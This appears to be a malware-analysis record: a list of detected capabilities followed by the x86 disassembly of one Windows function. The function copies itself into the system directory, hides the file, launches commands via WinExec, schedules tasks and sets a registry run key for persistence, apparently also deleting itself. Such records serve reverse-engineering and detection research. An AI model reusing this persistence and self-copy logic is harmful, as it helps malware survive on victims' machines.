Function at 0x40e3d0
Capabilities:
Copy file
Create process on windows
Get common file path
Move file
Persist via run registry key
Schedule task via at
Schedule task via schtasks
Self delete
Set file attributes
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x41dd7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xdc8
mov ax, word [0x401068]
push esi
push edi
mov word [esp + 0x22c], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x22e]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x22c]
push 0xff
push ecx
push 0
stosb byte es:[edi], al
call esi
lea edx, [esp + 0x22c]
push 0x4046c8
push edx
call fcn.004155a0
add esp, 8
test eax, eax
jne 0x40e8c8
lea eax, [esp + 0x22c]
push 0x4038cc
push eax
call fcn.004155a0
add esp, 8
test eax, eax
jne 0x40e8c8
call fcn.0040d280
lea ecx, [esp + 0x7dc]
push 0x4045f8
push ecx
call fcn.0041531f
lea edx, [esp + 0x7e4]
lea eax, [esp + 0x14]
push edx
push eax
call fcn.0040efd0
mov ecx, dword [esp + 0x20]
add esp, 0x10
test ecx, ecx
je 0x40e4ac
mov al, byte [ecx - 1]
dec ecx
test al, al
je 0x40e4a3
cmp al, 0xff
je 0x40e4a3
dec al
mov byte [ecx], al
jmp 0x40e4ac
push ecx
call fcn.00412d82
add esp, 4
lea ecx, [esp + 0x3f4]
push 0x404594
push ecx
call fcn.0041531f
lea edx, [esp + 0x3fc]
lea eax, [esp + 0x14]
push edx
push eax
call fcn.0040efd0
mov ecx, dword [esp + 0x20]
add esp, 0x10
test ecx, ecx
je 0x40e4f6
mov al, byte [ecx - 1]
dec ecx
test al, al
je 0x40e4ed
cmp al, 0xff
je 0x40e4ed
dec al
mov byte [ecx], al
jmp 0x40e4f6
push ecx
call fcn.00412d82
add esp, 4
lea ecx, [esp + 0x5e8]
push 0x40448c
push ecx
call fcn.0041531f
lea edx, [esp + 0x5f0]
lea eax, [esp + 0x14]
push edx
push eax
call fcn.0040efd0
mov ecx, dword [esp + 0x20]
add esp, 0x10
test ecx, ecx
je 0x40e540
mov al, byte [ecx - 1]
dec ecx
test al, al
je 0x40e537
cmp al, 0xff
je 0x40e537
dec al
mov byte [ecx], al
jmp 0x40e540
push ecx
call fcn.00412d82
add esp, 4
push ebx
push ebp
lea ecx, [esp + 0x9d8]
push 0x40431c
push ecx
call fcn.0041531f
mov ebp, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 8
lea edx, [esp + 0x9d8]
push 0
push edx
call ebp
mov dx, word [0x401068]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x36]
mov word [esp + 0x34], dx
mov word [esp + 0x134], dx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x136]
push 0xff
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x138]
push eax
push 0
call esi
lea ecx, [esp + 0x14]
push ecx
call fcn.004084f0
add esp, 4
mov edx, eax
mov edi, 0x4033cc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [edx + 8]
not ecx
dec ecx
mov ebx, ecx
mov ecx, eax
cmp eax, ebx
jb 0x40e5d8
mov ecx, ebx
mov edx, dword [edx + 4]
mov edi, 0x4033cc
mov esi, edx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40e5ed
sbb edx, edx
sbb edx, 0xffffffff
test edx, edx
jne 0x40e603
cmp eax, ebx
jae 0x40e5fa
or edx, 0xffffffff
jmp 0x40e601
xor edx, edx
cmp eax, ebx
setne dl
test edx, edx
mov eax, dword [esp + 0x18]
mov dword [esp + 0xde0], 0xffffffff
sete bl
test eax, eax
je 0x40e636
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40e62d
cmp al, 0xff
je 0x40e62d
dec al
mov byte [ecx], al
jmp 0x40e636
push ecx
call fcn.00412d82
add esp, 4
test bl, bl
je 0x40e66a
mov edi, 0x40419c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x40e67a
lea eax, [esp + 0x34]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebx
mov edi, 0x404190
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x34]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4038cc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x34]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00408700
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 4
test eax, eax
je 0x40e704
lea ecx, [esp + 0x34]
push 0x80
push ecx
call esi
push 0x4042fc
call fcn.00408700
add esp, 4
test eax, eax
je 0x40e721
push 0x80
push 0x4042fc
call esi
push 0
lea edx, [esp + 0x138]
push 0x4042fc
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push 0x4042fc
call esi
lea eax, [esp + 0x34]
push 1
lea ecx, [esp + 0x138]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edx, [esp + 0x34]
push 2
push edx
mov edi, eax
call esi
test edi, edi
je 0x40e777
lea eax, [esp + 0x134]
push eax
call fcn.00408700
add esp, 4
test eax, eax
je 0x40e7e4
push 0x3e8
call ebx
lea ecx, [esp + 0x34]
lea edx, [esp + 0x134]
push ecx
push edx
lea eax, [esp + 0x13c]
push 0x4042fc
push eax
lea ecx, [esp + 0x344]
push 0x4042d4
push ecx
call fcn.0041531f
lea edx, [esp + 0x34c]
lea eax, [esp + 0x3c]
push edx
push eax
call fcn.0040efd0
mov eax, dword [esp + 0x48]
add esp, 0x20
test eax, eax
je 0x40e7e4
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40e7db
cmp al, 0xff
je 0x40e7db
dec al
mov byte [ecx], al
jmp 0x40e7e4
push ecx
call fcn.00412d82
add esp, 4
lea ecx, [esp + 0x34]
push 0x4042c8
push ecx
push 0x4042c8
push 0x4042c8
lea edx, [esp + 0xbe8]
push 0x4041ec
push edx
call fcn.0041531f
add esp, 0x18
lea eax, [esp + 0xbd8]
push 0
push eax
call ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf013f
push 0
push 0x4041bc
push reloc.WS2_32.dll_bind
call ebp
test eax, eax
jne 0x40e8aa
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x34]
push 0x104
push edx
push 1
push eax
mov eax, dword [esp + 0x20]
push 0x4035a8
push eax
call edi
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
mov esi, eax
call ebx
test esi, esi
je 0x40e8aa
lea edx, [esp + 0x10]
push edx
push 0xf013f
push 0
push 0x4041bc
push bind
call ebp
test eax, eax
jne 0x40e8aa
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x34]
push 0x104
push eax
push 1
push 0
push 0x4035a8
push ecx
call edi
mov edx, dword [esp + 0x10]
push edx
call ebx
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0xdc8]
mov dword fs:[0], ecx
add esp, 0xdd4
ret
mov ecx, dword [esp + 0xdd0]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0xdd4
ret